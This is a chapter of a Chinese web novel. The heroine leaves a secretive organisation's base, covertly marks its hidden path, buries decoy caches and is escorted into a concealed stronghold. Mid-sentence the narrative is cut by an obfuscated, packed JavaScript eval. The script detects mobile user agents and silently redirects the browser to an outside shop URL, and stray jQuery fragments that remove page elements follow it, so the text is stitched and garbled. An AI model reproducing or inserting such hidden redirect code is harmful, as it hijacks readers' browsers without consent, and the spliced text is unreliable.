得到了“先知”的允许,阮见夏和“曼陀罗”终于可以出发,为了不耽误找线索的时间,两人当即利落收拾行装,将各自的必需品归置妥当,便通报“先知”可以离开基地了。
“记住,你在外最多只能停留十天,私事务必尽快了结,然后在回这里之前必须先去一趟第二基地。”“先知”说话时,目光控制不住落在阮见夏身上。
看着阮见夏把满满一背包的晶核、符卡等稀缺资源护得严实,双肩被压得微沉,却半点不肯松口让旁人搭把手,“先知”嘴角控制不住地抽了抽,实在懒得计较她这副财迷模样,本着眼不见心为静的原则,加快语速地叮嘱完重要事项。
阮见夏满眼都是自己怀里的财富,敷衍地点点头。
早料到这位不靠谱的人指望不上,“先知”压根没在意阮见夏敷衍的态度,选择转身看向“曼陀罗”。
他眼底掠过几分旁人看不懂的深意,抬手将一封折得整齐的手写信递给“曼陀罗”,声音压得低沉,语气郑重又耐人寻味:“‘曼陀罗’,此行你有一个任务,就是把这封信亲自送到第二基地,交给‘鬼手’,他见了信,自会知道该如何安置你们。”
“收到。”“曼陀罗”应声,接过信封,小心翼翼地将其塞进自己本就简约的背包内侧,确认稳妥后才转头看向阮见夏,沉声问道:“可以走了吗?”
“自然。”阮见夏抬眼扫过身周,少说围着十来个“渊生”的成员,眼底漾开一抹玩味的笑意,看向“先知”的目光带着几分冷嘲热讽,语气阴阳怪气:“敢问大人这是有多不放心我啊,居然安排这么多人随行看着?”
大概已经对阮见夏的为人处世风格习以为常,被这样挤兑,“先知”脸上连半点波澜都没有,语气平静得听不出情绪:“不必误会,他们只负责护送你和‘曼陀罗’出月光森林,出了森林,后续路程便只有‘曼陀罗’一人与你同行。”
阮见夏闻言,没接话,只是不置可否地挑了挑眉,抬脚便大踏步朝着基地出口走去。
身后那群安排好的守卫立刻紧随其后,队伍浩浩荡荡,脚步声在空旷的基地廊道里踏出凌乱的回响。
出月光森林的路程倒是格外顺利,“先知”安排的人也很熟悉路线,,竟无半分异动。
阮见夏被团团围住,走在队伍中间,看似一边走,一边漫不经心地欣赏着沿途景致,实则藏在袖中的指尖却将提前准备好的彼岸花花粉捏好,趁着众人注意力都在周遭警戒的间隙,指尖悄然轻弹,花粉便随风飘散,落在沿途的树干、石缝与隐秘的岔路口,将“渊生”这条内部通行的密道一一标记清楚。
彼岸花的花粉细腻,加之阮见夏每次撒的数量极少,以至于队伍里没有一个人发现这个异常。
待最后一处标记落下,阮见夏看着面前倏然开阔的荒野,才借着拂开两侧碎发的动作,不动声色地长舒了一口气。
第一个任务,完成!
出了月光森林,只有“曼陀罗”随行,托两人现在是合作伙伴的关系,一路上相处的还算和谐,“曼陀罗”也给了阮见夏藏东西的最大限度自由。
以防万一“先知”不信任自己、真的派人来检查,自己还能有个借口脱身,阮见夏也很卖力造假,独自找了块僻静的凹地,将存着晶核、符卡资源的背包往系统家园一扔,随便挑了几个位置开始挖土,随后又扔进去几块石头做做样子,最后填好土,进行伪装。
重复了几次之后,看着眼前乍一看没问题、细究之下又有填埋迹象的几个区域,阮见夏满意地拍了拍手上的泥土起身,眉梢得意地一挑——
第二个任务,完成!
做完这一切,她才慢悠悠折返,回到和曼陀罗约定好的汇合点。
只见曼陀罗正靠在一棵粗壮的树藤下休息,黑色的作战服衬得他原本有些少年青涩的身形格外挺拔,此时正摩挲着腰间的短刃,周身萦绕着几分冷冽的气息。
阮见夏走上前,先摆出一副凶巴巴的模样,语气带着几分刻意的威胁:“你要是敢把我在这附近藏晶核的事说出去,我保证饶不了你。”
面对阮见夏这略显幼稚的威胁与提防,“曼陀罗”嗤笑一声,语气里满是不屑:“放心,‘渊生’的福利待遇还不至于差到要贪图你这点东西。”
这话一出,阮见夏脸上的凶意瞬间散去,取而代之的是满满的惋惜与懊恼,撇撇嘴抱怨道:“可恶!按照你这话的意思,我这波资源岂不是坑少了?你怎么不早点跟我说!”
“曼陀罗”顿时语塞,望着眼前这个满脑子坑蒙拐骗发大财的女人,只剩无语。
直接无视阮见夏的胡言乱语,他活动了一下脖颈与手腕,骨节发出轻微的“咔咔”声,语气里带上几分不耐:“行了,这些都不重要,离十天期限只剩七天,我们得尽快赶去第二基地。”
阮见夏随手撩了撩肩头顺滑的长发,带着几分慵懒的傲气:“我就这么不带伪装地过去,应该也没问题吧?这几天沿路看到的通缉令,全都是我的背影,没有正脸,就算见了面,他们也未必能认得出我。”
说罢,阮见夏还不忘自我陶醉、臭美一番:“不过,还好本人天生丽质,就算只是个背影照,都这样惹眼迷人。”
曼陀罗懒得搭理她的自恋,只是眉头微蹙,语气严肃地制止了她这危险的念头:“别冒险,听组织里潜伏的人说,第一基地那群人研究出了专门的检测手段,能感知到伊利芙之树的气息,为了避免在第二基地入口检查出纰漏,我已经联系人过来接应我们了。”
没有暴露自己的打算,有安全又省事的方式,阮见夏自然没有异议,当即点头应下。
可当接应的车辆缓缓驶来,车门打开,看清来人模样时,她的眼神骤然一眯,眼底闪过一丝不易察觉的警惕。
来人是范成杰。
当初第三基地递来的情报里,这人的资料赫然在列。
阮见夏若有所思地眨眨眼,看来第三基地除了猜错“渊生”总部的位置,误将第二基地当成“渊生
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16951453|186576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”核心据点外,其余关于人员的信息,倒是大差不差,全都属实。
“我们见过面,我就不进行自我介绍了,她是新晋的护法‘风信子’,带我们直接去据点就行。”“曼陀罗”率先开口,语气淡漠地吩咐道。
一转头见阮见夏站在原地沉默不语,又开口催促:“发什么呆?赶紧上车。”
阮见夏没应声,径直弯腰钻进了车里,余光却一直落在范成杰身上。
谁能想到,表面上在第二基地身居高位、手握重权的议员,此刻竟在他们面前点头哈腰,脸上满是卑微讨好的神色,这样一副姿态,让她实在费解——
这人到底是图什么,非要执着于加入“渊生”?
难道“渊生”真有什么诡异的洗脑手段?否则,仅凭一个虚无缥缈的新世界理论,怎么能骗到这么多人死心塌地追随,尤其是其中不乏还有像范成杰这样有头有脸的人?
没人能给阮见夏一个答案。
低调的黑色轿车一路平稳行驶,避开了第二基地的主入口,转而驶向一处偏僻的侧门,沿途几番弯弯绕绕,穿过几条狭窄的小巷,最终缓缓开进了一栋不起眼的独栋小别墅的庭院里。
车子刚停稳,范成杰便急忙快步下车,殷勤地绕到后座,为两人打开车门,语气恭敬得近乎谦卑:“两位大人,一路辛苦,快请随我来。”
阮见夏和“曼陀罗”跟着他走进别墅,穿过客厅,最终来到一间僻静的偏房。
范成杰在屋内来回走动,对着墙面的几处暗格几番操作,按压、旋转,一连串动作行云流水,复杂得阮见夏连连感叹,最后在角落的墙壁处,一块石板缓缓移开,露出一道仅容一人通过的小门。
范成杰侧身站在一旁,做了个请的手势,态度愈发恭敬:“两位大人,这就是通往据点的入口,二位尽管放心进去,属下就在此处为二位守门。”
阮见夏了然,随即心念一动,一道泛着冷光的虚空锁链便自虚空中凝形,如蓄势已久的灵蛇,倏地缠上“曼陀罗”的右手臂,锁链收紧时的分寸拿捏得刚好,既缚得住人又不会影响活动。
然后一双澄澈的眸子无辜地眨了眨,她伸手指了指门后的一片黑暗,说得理所当然:“这里面也太黑了,我害怕,你在前面带路吧。”
“曼陀罗”垂眸盯着手臂上那圈冰冷的虚空锁链,又抬眼看向阮见夏这副丝毫没有一点害怕迹象的模样,知道她是怕自己被算计,所以准备拿自己探路,脸色一黑,最后只是冷哼一声,率先进了那片黑暗。
见他乖乖在前面领路,阮见夏悬着的心才落定,慢悠悠地抬脚跟了上去,全程跟牵狗链子似的,半点不用费神探查前路,一路跟着“曼陀罗”往据点深处走去。
这处据点不算阔大,两人一前一后循着路径穿行,不过短短几分钟,前方视野就豁然开朗,类似大厅的空场上站着两人,身着白色实验服,气息沉稳,见他们二人走来,立刻笑着迎上来,显然是早已在此等候,专程准备迎接他们的。